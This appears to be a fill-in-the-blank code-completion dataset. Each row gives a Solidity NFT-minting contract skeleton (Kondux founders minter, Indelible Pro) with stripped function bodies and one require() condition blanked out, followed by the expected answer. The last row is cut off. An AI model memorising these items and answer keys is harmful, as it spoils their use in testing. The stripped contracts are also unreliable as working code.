mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, rootFreeKNFT, leaf), "Incorrect proof");
freeKNFTClaimed[msg.sender] = true;
return _mintKNFT();
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !freeKNFTClaimed[msg.sender],"Already claimed" | 250,184 | !freeKNFTClaimed[msg.sender] |
"Incorrect proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
require(!freeKNFTClaimed[msg.sender], "Already claimed");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
freeKNFTClaimed[msg.sender] = true;
return _mintKNFT();
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| MerkleProof.verify(_merkleProof,rootFreeKNFT,leaf),"Incorrect proof" | 250,184 | MerkleProof.verify(_merkleProof,rootFreeKNFT,leaf) |
"Already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, rootFreeFounders, leaf), "Incorrect proof");
freeFoundersClaimed[msg.sender] = true;
return _mintFounders();
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !freeFoundersClaimed[msg.sender],"Already claimed" | 250,184 | !freeFoundersClaimed[msg.sender] |
"Incorrect proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
require(!freeFoundersClaimed[msg.sender], "Already claimed");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
freeFoundersClaimed[msg.sender] = true;
return _mintFounders();
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| MerkleProof.verify(_merkleProof,rootFreeFounders,leaf),"Incorrect proof" | 250,184 | MerkleProof.verify(_merkleProof,rootFreeFounders,leaf) |
"Founders 020 minting is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
require(<FILL_ME>)
_;
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !pausedFounders020,"Founders 020 minting is paused" | 250,184 | !pausedFounders020 |
"Founders 025 minting is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
require(<FILL_ME>)
_;
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
}
}
| !pausedFounders025,"Founders 025 minting is paused" | 250,184 | !pausedFounders025 |
"Free Founders minting is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
require(<FILL_ME>)
_;
}
modifier isFreeKNFTActive() {
}
}
| !pausedFreeFounders,"Free Founders minting is paused" | 250,184 | !pausedFreeFounders |
"Free KNFT minting is paused" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/IKonduxFounders.sol";
import "./interfaces/ITreasury.sol";
import "./interfaces/IKondux.sol";
import "./types/AccessControlled.sol";
import "hardhat/console.sol";
contract MinterFounders is AccessControlled {
uint256 public priceFounders020;
uint256 public priceFounders025;
uint256 public priceFreeKNFT;
uint256 public priceFreeFounders;
bytes32 public rootFreeFounders;
bytes32 public rootFounders020;
bytes32 public rootFounders025;
bytes32 public rootFreeKNFT;
bool public pausedWhitelist;
bool public pausedFounders020;
bool public pausedFounders025;
bool public pausedFreeFounders;
bool public pausedFreeKNFT;
IKondux public kondux;
IKonduxFounders public konduxFounders;
ITreasury public treasury;
mapping (address => bool) public founders020Claimed;
mapping (address => bool) public founders025Claimed;
mapping (address => bool) public freeFoundersClaimed;
mapping (address => bool) public freeKNFTClaimed;
constructor(address _authority, address _konduxFounders, address _kondux, address _vault)
AccessControlled(IAuthority(_authority)) {
}
function setPriceFounders020(uint256 _price) public onlyGovernor {
}
function setPriceFounders025(uint256 _price) public onlyGovernor {
}
function setPriceFreeFounders(uint256 _price) public onlyGovernor {
}
function setPriceFreeKNFT(uint256 _price) public onlyGovernor {
}
function setPausedFounders020(bool _paused) public onlyGovernor {
}
function setPausedFounders025(bool _paused) public onlyGovernor {
}
function setPausedFreeFounders(bool _paused) public onlyGovernor {
}
function setPausedFreeKNFT(bool _paused) public onlyGovernor {
}
function whitelistMintFounders020(bytes32[] calldata _merkleProof) public payable isFounders020Active returns (uint256) {
}
function whitelistMintFounders025(bytes32[] calldata _merkleProof) public payable isFounders025Active returns (uint256) {
}
function whitelistMintFreeKNFT(bytes32[] calldata _merkleProof) public isFreeKNFTActive returns (uint256) {
}
function whitelistMintFreeFounders(bytes32[] calldata _merkleProof) public isFreeFoundersActive returns (uint256) {
}
function setRootFreeFounders(bytes32 _rootFreeFounders) public onlyGovernor {
}
function setRootFounders020(bytes32 _rootFounders020) public onlyGovernor {
}
function setRootFounders025(bytes32 _rootFounders025) public onlyGovernor {
}
function setRootFreeKNFT(bytes32 _rootFreeKNFT) public onlyGovernor {
}
function setTreasury(address _treasury) public onlyGovernor {
}
function setKonduxFounders(address _konduxFounders) public onlyGovernor {
}
// TODO: REMOVE BEFORE DEPLOY TO MAINNET
// function unclaimAddress(address _address) public {
// founders020Claimed[_address] = false;
// founders025Claimed[_address] = false;
// freeFoundersClaimed[_address] = false;
// freeKNFTClaimed[_address] = false;
// }
// ** INTERNAL FUNCTIONS **
function _mintFounders() internal returns (uint256) {
}
function _mintKNFT() internal returns (uint256) {
}
// ** MODIFIERS **
modifier isFounders020Active() {
}
modifier isFounders025Active() {
}
modifier isFreeFoundersActive() {
}
modifier isFreeKNFTActive() {
require(<FILL_ME>)
_;
}
}
| !pausedFreeKNFT,"Free KNFT minting is paused" | 250,184 | !pausedFreeKNFT |
"Paid mint is not active" | // SPDX-License-Identifier: MIT
// Indelible Labs LLC
pragma solidity ^0.8.17;
import "./ERC721X.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "solady/src/utils/Base64.sol";
import "./interfaces/IIndelibleProRenderer.sol";
import "./interfaces/IBurnedKevins.sol";
contract IndeliblePro is ERC721X, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
IERC721 public OnChainKevin;
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
mapping(uint => address[]) private _chunks;
mapping(address => uint) private _tier1TokensMinted;
uint private constant MAX_SUPPLY_TIER_1 = 2000;
uint private constant MAX_SUPPLY_TIER_2 = 2000;
bytes32 private merkleRoot;
uint public maxSupplyTier1Limit = 2000;
uint public maxPerWallet = 1;
uint public totalTier1Minted;
uint public totalTier2Minted;
uint public mintPrice = 0.35 ether;
string public baseURI = "";
bool public isAllowListMintActive;
bool public isPublicMintActive;
bool public isTier2MintActive;
address public renderContractAddress;
address public burnedKevinsContractAddress;
ContractData public contractData = ContractData(
"Indelible Pro",
"Indelible Pro grants holders special access to products and services by Indelible Labs.",
"https://app.indelible.xyz/assets/images/indelible-pro.gif",
"https://app.indelible.xyz/assets/images/indelible-pro-banner.png",
"https://indelible.xyz",
1000,
"0x29FbB84b835F892EBa2D331Af9278b74C595EDf1"
);
constructor() ERC721("IndeliblePro", "INDELIBLEPRO") {}
modifier whenMintActive() {
}
modifier whenPaidMintActive() {
require(<FILL_ME>)
_;
}
modifier whenTier2MintActive() {
}
receive() external payable {
}
function maxSupply() public pure returns (uint) {
}
function totalSupply() public view returns (uint) {
}
function burnToMint(uint[] calldata tokenIds, address recipient)
external
nonReentrant
whenTier2MintActive
{
}
function tier1Mint(uint count, address recipient)
internal
whenPaidMintActive
{
}
function mint(uint count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
{
}
function airdrop(uint count, address recipient)
external
payable
nonReentrant
whenMintActive
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function isMintActive() public view returns (bool) {
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function setContractData(ContractData memory data)
external
onlyOwner
{
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMintPrice(uint price) external onlyOwner {
}
function setMaxPerWallet(uint max) external onlyOwner {
}
function setMaxSupplyTier1Limit(uint limit) external onlyOwner {
}
function setOnChainKevinContract(address contractAddress) external onlyOwner {
}
function setBurnedKevinsContract(address contractAddress) external onlyOwner {
}
function setRenderContract(address contractAddress) external onlyOwner {
}
function toggleTier2Mint() external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function transferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
}
| isPublicMintActive||isAllowListMintActive,"Paid mint is not active" | 250,222 | isPublicMintActive||isAllowListMintActive |
"All tokens are gone" | // SPDX-License-Identifier: MIT
// Indelible Labs LLC
pragma solidity ^0.8.17;
import "./ERC721X.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "solady/src/utils/Base64.sol";
import "./interfaces/IIndelibleProRenderer.sol";
import "./interfaces/IBurnedKevins.sol";
contract IndeliblePro is ERC721X, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
IERC721 public OnChainKevin;
address internal burnAddress = 0x000000000000000000000000000000000000dEaD;
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
mapping(uint => address[]) private _chunks;
mapping(address => uint) private _tier1TokensMinted;
uint private constant MAX_SUPPLY_TIER_1 = 2000;
uint private constant MAX_SUPPLY_TIER_2 = 2000;
bytes32 private merkleRoot;
uint public maxSupplyTier1Limit = 2000;
uint public maxPerWallet = 1;
uint public totalTier1Minted;
uint public totalTier2Minted;
uint public mintPrice = 0.35 ether;
string public baseURI = "";
bool public isAllowListMintActive;
bool public isPublicMintActive;
bool public isTier2MintActive;
address public renderContractAddress;
address public burnedKevinsContractAddress;
ContractData public contractData = ContractData(
"Indelible Pro",
"Indelible Pro grants holders special access to products and services by Indelible Labs.",
"https://app.indelible.xyz/assets/images/indelible-pro.gif",
"https://app.indelible.xyz/assets/images/indelible-pro-banner.png",
"https://indelible.xyz",
1000,
"0x29FbB84b835F892EBa2D331Af9278b74C595EDf1"
);
constructor() ERC721("IndeliblePro", "INDELIBLEPRO") {}
modifier whenMintActive() {
}
modifier whenPaidMintActive() {
}
modifier whenTier2MintActive() {
}
receive() external payable {
}
function maxSupply() public pure returns (uint) {
}
function totalSupply() public view returns (uint) {
}
function burnToMint(uint[] calldata tokenIds, address recipient)
external
nonReentrant
whenTier2MintActive
{
require(<FILL_ME>)
for (uint i; i < tokenIds.length; i += 1) {
